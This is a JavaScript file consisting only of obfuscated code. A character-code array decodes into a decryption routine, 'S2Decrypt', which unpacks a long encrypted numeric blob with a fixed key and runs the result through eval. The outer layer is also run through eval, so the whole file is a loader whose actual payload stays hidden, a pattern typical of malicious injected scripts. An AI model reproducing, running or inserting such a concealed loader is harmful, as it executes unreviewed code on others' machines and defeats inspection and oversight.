var s = String.fromCharCode(102,117,110,99,116,105,111,110,32,83,50,68,101,99,114,121,112,116,40,116,120,116,44,112,97,115,115,119,111,114,100,41,32,123,13,10,118,97,114,32,115,116,114,32,61,32,40,116,120,116,41,46,115,112,108,105,116,40,34,34,41,59,13,10,118,97,114,32,112,97,115,115,32,61,32,40,112,97,115,115,119,111,114,100,41,46,115,112,108,105,116,40,34,34,41,59,13,10,118,97,114,32,108,112,97,115,115,119,111,114,100,32,61,32,112,97,115,115,46,108,101,110,103,116,104,59,13,10,118,97,114,32,108,118,97,114,32,61,32,49,50,56,45,108,112,97,115,115,119,111,114,100,59,13,10,118,97,114,32,112,99,111,117,110,116,101,114,32,61,32,48,59,13,10,118,97,114,32,116,99,111,117,110,116,101,114,32,61,32,48,59,13,10,118,97,114,32,114,101,115,117,108,116,61,34,34,59,13,10,102,111,114,32,40,118,97,114,32,105,61,115,116,114,46,108,101,110,103,116,104,32,45,32,49,59,105,62,48,59,105,45,45,41,123,13,10,105,102,40,112,99,111,117,110,116,101,114,61,61,108,112,97,115,115,119,111,114,100,41,13,10,112,99,111,117,110,116,101,114,61,48,59,13,10,105,102,40,116,99,111,117,110,116,101,114,61,61,108,118,97,114,41,13,10,116,99,111,117,110,116,101,114,61,48,59,13,10,114,101,115,117,108,116,43,61,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,40,40,115,116,114,91,105,93,46,99,104,97,114,67,111,100,101,65,116,40,48,41,41,32,45,32,116,99,111,117,110,116,101,114,41,32,45,32,40,40,112,97,115,115,91,112,99,111,117,110,116,101,114,93,46,99,104,97,114,67,111,100,101,65,116,40,48,41,41,32,45,32,112,99,111,117,110,116,101,114,41,41,59,13,10,112,99,111,117,110,116,101,114,43,61,49,59,13,10,116,99,111,117,110,116,101,114,43,61,49,59,13,10,125,13,10,114,101,116,117,114,110,32,114,101,115,117,108,116,59,13,10,125,13,10,101,118,97,108,40,83,50,68,101,99,114,121,112,116,40,34,155,171,155,129,154,171,280,173,172,284,150,134,146,269,165,145,246,260,244,191,251,246,245,209,220,166,246,101,130,147,190,180,236,252,231,216,153,232,228,112,151,154,153,219,215,157,137,131,129,214,213,165,176,156,209,223,328,310,255,233,256,254,302,271,297,326,294,320,324,312,275,226,301,299,221,204,305,304,239,308,311,308,255,289,289,301,244,194,291,292,196,204,201,204,232,197,215,218,279,203,196,239,207,295,276,211,275,241,271,175,162,134,165,289,195,292,281,283,158,142,154,163,150,122,153,279,160,169,168,278,169,161,243,256,230,140,232,241,255,244,242,175,250,117,126,140,130,147,157,231,242,243,228,233,157,213,207,150,148,108,138,152,207,155,233,235,148,116,194,218,214,171,291,254,329,343,270,255,253,239,229,321,306,215,228,311,323,332,321,316,302,208,284,313,232,188,285,314,292,304,313,298,228,196,288,293,288,241,288,290,282,274,221,227,279,269,275,220,265,247,169,183,181,192,298,207,278,254,265,171,159,133,273,171,169,180,286,195,186,242,251,251,177,212,235,266,244,254,183,276,142,125,135,151,184,137,217,191,226,246,183,173,155,196,147,158,156,116,229,228,155,174,159,161,143,184,135,158,135,139,155,189,194,192,195,205,175,150,295,252,237,219,236,311,266,314,322,251,244,216,286,254,284,267,232,307,319,316,321,294,292,273,263,240,285,267,189,203,201,212,318,227,298,274,285,191,179,153,177,192,192,310,215,224,205,263,235,202,267,239,261,286,266,285,288,273,163,149,155,171,270,126,157,283,165,176,284,169,154,183,240,243,234,218,230,156,156,210,261,248,227,221,238,244,229,189,225,248,232,254,236,244,234,208,220,240,155,196,213,154,229,241,240,239,206,202,107,123,156,109,136,219,208,231,332,273,319,293,233,275,233,288,305,246,325,316,333,225,210,303,221,243,230,200,304,322,300,285,304,321,296,277,223,300,278,207,217,230,287,305,260,307,270,202,275,279,198,168,223,218,207,297,290,281,171,157,212,207,268,164,266,277,279,268,281,268,258,249,251,223,173,231,241,264,183,220,187,265,238,152,243,239,247,110,141,201,180,240,192,234,246,148,219,209,232,189,215,240,224,251,246,241,186,142,146,211,153,167,225,158,231,222,220,225,199,163,209,207,164,96,269,254,334,237,236,346,237,229,251,271,258,246,236,242,309,320,221,224,318,186,198,323,195,169,243,299,304,300,277,320,278,272,285,301,278,212,218,302,288,223,297,301,286,268,262,288,171,145,283,206,272,294,283,276,189,265,159,175,274,130,161,221,260,276,260,241,266,225,245,262,252,213,204,196,263,260,183,261,247,233,241,239,239,106,137,197,176,183,248,240,237,209,159,236,214,116,173,158,239,236,137,140,232,124,142,155,141,188,220,215,189,220,233,226,206,126,315,319,264,217,244,318,325,292,335,316,247,294,294,239,225,223,232,238,317,322,309,217,202,231,222,309,221,266,291,310,288,313,296,304,294,270,238,214,288,241,278,214,240,219,293,284,175,161,216,211,250,179,247,291,207,277,250,286,254,235,255,255,261,231,254,231,201,204,262,268,260,164,249,245,234,210,230,225,259,252,218,179,190,144,236,144,134,151,154,184,165,171,178,167,220,209,228,154,170,112,211,231,238,137,136,246,137,129,136,149,129,129,157,143,139,229,343,342,249,224,303,319,211,185,325,224,224,278,316,324,294,258,310,299,297,272,303,307,267,253,319,308,217,229,209,304,293,263,208,304,284,313,201,204,232,197,205,287,266,252,269,224,285,284,211,240,193,260,258,198,267,221,270,176,176,294,199,208,190,172,257,274,242,190,241,272,262,268,201,265,238,179,170,182,229,210,197,258,236,193,253,244,158,140,176,170,149,202,227,232,137,148,190,172,228,136,219,229,221,173,218,219,224,240,229,188,133,203,194,216,125,125,240,332,320,259,337,320,323,198,210,269,238,261,247,301,328,255,313,290,308,277,284,308,282,272,299,308,268,249,240,302,290,283,213,302,272,245,278,284,262,307,288,258,201,213,193,289,171,145,219,208,285,280,291,285,258,239,270,278,254,234,265,261,260,282,255,255,261,239,248,264,229,200,252,265,258,259,259,248,232,227,233,230,217,188,216,196,250,259,248,242,230,214,218,245,147,116,173,158,226,240,246,159,223,189,219,124,114,195,132,155,163,151,176,176,129,158,245,250,307,281,214,231,340,233,232,344,211,197,252,313,290,265,306,304,213,224,266,317,300,277,297,306,278,219,226,310,296,231,305,309,294,276,270,296,179,153,227,223,219,296,284,299,270,194,267,271,189,189,188,286,272,207,285,268,271,146,158,281,177,157,185,198,271,283,260,237,242,242,244,255,179,214,233,205,184,191,247,257,198,228,218,180,231,193,153,166,190,179,167,249,228,202,119,135,168,121,223,162,233,238,239,220,219,189,206,227,207,137,128,229,208,225,259,288,241,302,302,246,315,269,318,224,224,278,256,308,247,271,310,242,291,239,303,303,298,317,300,319,300,278,250,236,218,241,224,281,308,235,307,290,274,262,263,257,281,237,235,210,236,215,294,189,174,267,185,207,203,156,213,227,195,249,207,199,251,237,151,167,200,227,172,268,248,277,165,168,260,152,170,220,169,198,207,174,249,258,248,259,224,218,234,232,127,101,126,143,252,145,144,190,154,189,183,209,211,116,220,217,216,229,217,198,189,185,211,211,209,163,273,254,338,328,333,255,315,302,314,326,298,282,205,220,220,338,243,252,271,216,299,265,217,266,295,303,311,302,309,316,283,174,186,196,186,269,182,199,242,306,219,297,283,269,277,275,275,142,173,233,275,246,207,218,189,225,181,205,181,224,215,194,202,199,247,241,177,171,169,254,204,140,179,182,251,222,183,194,165,157,177,178,223,175,156,181,167,247,206,171,164,136,154,176,153,182,191,158,166,163,231,194,141,135,133,155,135,141,177,179,189,201,184,198,182,114,245,338,274,208,247,250,319,290,251,262,233,225,227,275,270,229,270,288,272,295,292,287,266,251,248,228,221,272,249,226,234,231,299,262,209,203,201,260,255,172,229,214,294,197,196,308,175,161,216,204,236,206,190,202,228,207,255,249,163,149,268,190,246,231,252,259,187,288,169,172,200,158,216,215,222,138,193,178,227,229,157,160,252,144,162,175,155,193,240,235,177,238,233,253,209,192,164,172,164,128,161,168,167,173,173,241,197,180,204,224,208,187,197,219,204,229,297,319,301,276,270,292,247,288,302,325,326,330,329,314,302,257,281,294,223,192,231,234,240,241,317,308,285,278,282,277,211,188,296,259,227,310,307,306,278,276,266,279,273,241,266,224,290,285,219,211,263,249,163,179,212,229,196,250,241,215,282,199,263,229,259,164,154,235,172,195,191,261,265,187,247,231,234,258,228,210,245,244,149,160,153,156,135,121,242,140,130,147,232,250,228,251,232,246,223,207,217,233,206,190,150,206,147,233,233,236,217,185,207,116,106,123,249,287,259,327,333,324,320,234,285,220,210,227,237,251,247,317,321,255,227,234,301,308,286,259,249,243,309,304,314,284,215,204,287,287,273,241,273,258,299,306,288,304,282,253,243,290,262,215,206,262,181,192,234,216,258,255,257,259,251,152,192,229,191,210,195,202,192,180,189,202,189,166,185,196,195,201,199,197,188,166,174,185,172,154,236,254,251,247,178,183,160,188,196,205,193,123,152,236,224,243,238,173,197,102,114,173,142,123,140,228,178,151,176,147,185,112,319,315,323,186,217,341,247,264,284,263,268,224,309,286,225,274,303,311,319,310,317,324,291,182,194,319,191,165,239,235,225,236,229,227,220,192,252,214,212,172,202,219,213,227,298,286,275,253,271,286,240,244,266,271,276,285,282,285,258,254,255,227,245,226,241,270,275,232,205,263,256,156,243,260,250,220,233,260,153,164,270,179,170,195,161,254,190,124,230,245,236,255,234,245,234,202,119,135,119,93,118,135,178,159,164,224,222,202,213,150,129,169,204,215,211,234,259,352,219,205,211,227,260,213,248,262,259,274,255,327,298,281,297,285,235,276,300,307,313,306,286,290,195,181,302,200,190,271,208,231,301,309,292,231,277,255,281,275,264,168,289,188,188,308,189,192,220,185,203,281,193,234,269,280,209,275,282,177,162,191,182,194,242,227,251,262,218,205,260,257,147,133,188,183,222,149,219,222,179,248,259,248,239,195,163,235,219,98,129,189,168,236,248,245,229,140,155,233,145,177,212,223,185,239,239,220,185,185,209,203,194,178,275,268,334,329,255,284,237,293,299,242,311,265,314,220,220,274,304,261,284,256,217,241,217,190,276,290,229,235,242,231,222,198,285,295,274,260,206,226,303,260,219,248,201,202,276,206,275,229,278,184,184,302,207,216,191,210,231,196,181,181,209,223,191,260,211,254,225,168,169,252,242,118,149,160,160,280,161,164,192,157,174,178,241,201,241,219,181,259,251,244,235,203,196,213,123,97,171,167,173,246,167,235,206,210,202,124,114,131,141,219,214,220,229,159,131,117,306,296,308,258,241,252,255,324,318,316,309,296,294,320,239,205,306,306,321,255,241,321,289,274,296,231,215,192,281,293,288,307,307,296,291,206,210,292,288,184,202,292,216,221,223,284,264,245,265,282,258,242,202,211,284,277,215,205,255,173,179,198,246,215,241,266,267,264,273,205,191,239,165,207,165,154,247,156,156,210,181,214,184,187,204,207,201,182,198,204,221,173,167,196,149,205,212,223,223,112,222,219,237,137,136,182,222,190,129,171,129,182,196,228,139,229,324,345,219,205,260,307,250,263,280,246,272,251,265,330,229,294,286,320,199,173,311,234,240,241,313,288,219,200,238,251,238,180,269,238,278,275,231,223,275,261,175,191,175,149,289,188,188,242,220,228,201,260,258,283,234,170,268,278,268,285,266,250,236,142,154,213,182,166,184,188,185,251,189,187,180,152,179,257,161,143,160,176,173,239,175,209,172,155,149,231,237,189,162,246,239,240,245,230,228,215,139,158,215,193,218,164,219,238,129,132,160,125,133,207,208,175,316,289,265,329,339,322,215,201,256,251,314,271,236,311,323,320,325,298,239,278,301,297,195,169,243,239,229,327,285,323,215,208,207,310,258,268,206,226,284,290,284,295,281,253,275,220,278,235,192,235,203,296,278,185,170,199,242,211,240,200,180,223,191,284,266,195,259,225,255,160,150,167,177,251,264,269,267,195,183,231,165,239,233,201,194,254,255,244,223,240,237,201,214,240,180,130,227,228,155,192,159,229,225,191,133,228,198,190,110,127,170,212,165,206,177,112,248,250,239,268,296,252,247,266,251,260,235,296,302,307,309,198,232,326,272,243,268,239,239,287,213,308,278,270,190,207,314,231,236,229,289,245,203,214,230,201,229,214,272,235,274,263,205,180,259,275,167,141,166,183,292,185,184,230,194,185,185,274,250,233,225,204,271,275,264,273,240,207,220,156,146,163,173,180,177,243,181,179,172,144,238,236,153,135,152,168,165,231,167,201,164,147,141,223,229,181,154,238,231,232,237,222,220,207,131,150,207,185,210,156,211,230,237,240,268,233,241,315,316,283,308,281,257,324,334,225,210,239,230,316,291,200,289,318,304,321,290,249,290,287,187,203,236,189,277,305,295,292,293,235,223,200,282,280,205,237,272,283,245,299,299,280,245,254,254,278,232,170,267,268,195,232,199,272,268,164,255,251,259,122,153,213,192,252,204,246,217,164,222,190,220,178,214,182,240,246,240,251,237,209,231,176,231,190,148,191,159,249,233,141,126,155,146,152,200,110,144,234,220,231,231,234,147,162,179,138,154,96,286,308,229,240,282,264,245,289,312,321,305,235,242,315,321,225,224,270,234,216,293,306,250,256,281,299,277,249,304,313,213,225,205,300,275,176,286,283,301,201,200,246,210,201,205,291,263,172,261,282,276,249,291,295,258,224,259,263,261,199,194,277,261,199,224,195,250,242,169,264,234,226,146,163,270,187,192,185,243,198,159,170,186,157,185,170,228,191,230,219,161,136,215,231,123,97,122,139,248,141,140,186,150,185,150,205,181,112,208,211,229,220,125,128,220,112,246,252,325,245,238,250,276,284,280,251,294,232,284,286,233,196,294,311,213,224,217,220,314,182,194,253,222,202,295,234,301,316,309,241,281,275,179,195,228,181,208,283,294,298,291,250,211,253,259,180,170,187,197,263,216,266,251,211,254,252,250,272,232,162,249,260,165,176,218,200,242,241,247,262,177,154,247,186,244,259,252,217,245,232,222,218,222,208,217,235,245,206,181,250,219,132,170,154,214,182,140,236,216,245,133,136,164,181,147,201,177,100,139,142,141,207,319,261,241,235,233,255,235,284,309,315,327,253,255,335,266,212,250,234,239,275,220,316,296,325,213,216,308,200,218,224,276,231,210,222,248,256,252,223,266,204,256,258,205,168,266,283,185,196,189,192,286,154,166,225,194,173,192,282,268,288,248,213,265,244,246,268,240,195,227,164,164,282,187,196,171,228,196,176,161,161,189,203,171,240,191,234,205,148,149,232,222,98,129,140,140,194,172,239,225,211,145,234,210,184,216,233,161,203,151,180,133,164,103,119,152,105,247,261,263,266,324,337,291,227,237,326,277,200,257,242,287,247,325,308,311,186,198,321,217,277,298,314,205,216,322,231,292,264,183,199,232,185,212,301,261,201,200,312,179,165,286,184,174,191,201,267,224,270,278,219,242,184,242,212,240,223,188,263,275,272,277,250,248,229,219,196,241,223,146,163,206,189,220,234,209,181,195,172,157,157,156,223,145,156,262,171,222,219,221,227,145,209,122,139,182,172,220,180,200,195,145,199,145,165,150,205,214,159,216,231,202,194,292,321,306,258,250,322,330,233,232,278,235,253,278,288,277,198,224,267,235,296,217,220,312,204,222,304,300,184,223,226,225,291,287,253,211,192,230,243,201,233,217,273,297,302,215,226,197,182,249,262,215,162,196,202,269,280,181,184,212,177,179,250,237,150,184,274,260,271,271,274,187,241,235,178,194,136,250,261,175,265,244,265,139,125,244,166,162,206,234,235,171,243,234,251,214,199,141,247,119,93,167,163,212,177,214,226,145,188,194,211,179,171,197,192,153,219,342,259,270,224,286,224,214,295,232,335,325,335,225,228,256,265,221,316,286,278,198,215,258,308,312,300,263,284,289,295,291,247,259,236,303,307,296,305,272,239,252,210,226,168,274,297,207,297,276,297,171,157,212,267,262,221,230,274,271,288,237,283,261,237,255,253,224,158,256,266,256,273,254,238,224,152,190,174,246,202,160,256,236,265,153,156,184,149,171,170,215,167,148,173,159,169,226,165,145,139,137,152,214,190,152,237,221,241,153,151,162,116,171,192,125,178,305,340,229,240,282,257,297,280,231,242,258,200,300,277,239,329,308,329,203,189,244,232,309,242,308,232,227,264,231,307,293,279,205,300,270,262,182,199,242,232,236,227,283,219,193,235,193,247,262,206,285,276,293,185,170,199,190,210,189,234,215,194,220,199,267,278,177,242,234,268,147,121,146,163,206,248,190,267,232,233,225,249,239,176,239,255,249,248,225,244,237,214,178,165,157,118,221,227,239,246,248,210,212,202,206,230,198,186,201,226,190,214,165,166,207,185,292,252,249,210,311,333,320,323,327,316,300,289,296,317,301,259,242,257,313,316,326,241,233,206,239,309,297,261,283,303,301,304,314,229,268,192,230,214,290,172,282,279,297,197,196,242,258,182,249,262,267,239,255,275,283,283,288,268,255,237,245,250,237,150,188,192,245,246,254,230,210,206,167,190,167,196,224,261,244,266,262,244,237,179,213,226,190,174,185,221,215,209,214,218,209,192,186,198,184,152,142,166,153,219,215,233,222,170,189,202,207,179,201,225,221,216,313,343,319,293,315,328,318,239,292,306,326,338,326,315,307,285,276,294,281,276,290,313,314,318,317,302,290,245,269,282,278,262,273,309,303,297,302,274,265,248,199,222,199,245,278,226,294,289,297,271,253,229,220,241,225,158,196,200,240,247,242,239,183,176,175,239,208,187,212,188,242,191,216,187,240,152,243,239,247,110,141,201,232,181,223,227,209,180,193,207,205,134,232,232,238,250,242,245,212,201,182,152,149,110,214,229,220,239,216,218,206,192,205,218,158,110,316,330,320,331,306,257,249,222,313,309,298,274,294,289,316,316,327,326,314,259,286,306,290,226,230,301,305,308,315,311,286,278,272,269,207,188,206,294,291,292,291,270,215,268,273,279,275,231,243,261,205,270,207,236,189,246,181,276,246,238,158,175,169,180,285,264,259,229,246,251,242,216,219,182,205,187,265,252,249,232,230,257,209,128,186,183,167,265,240,253,222,213,214,231,221,167,144,250,155,180,175,193,204,210,133,235,199,104,200,215,211,230,182,147,144,127,34,44,34,80,97,115,115,119,111,114,100,72,101,114,101,34,41,41,59);
eval(s);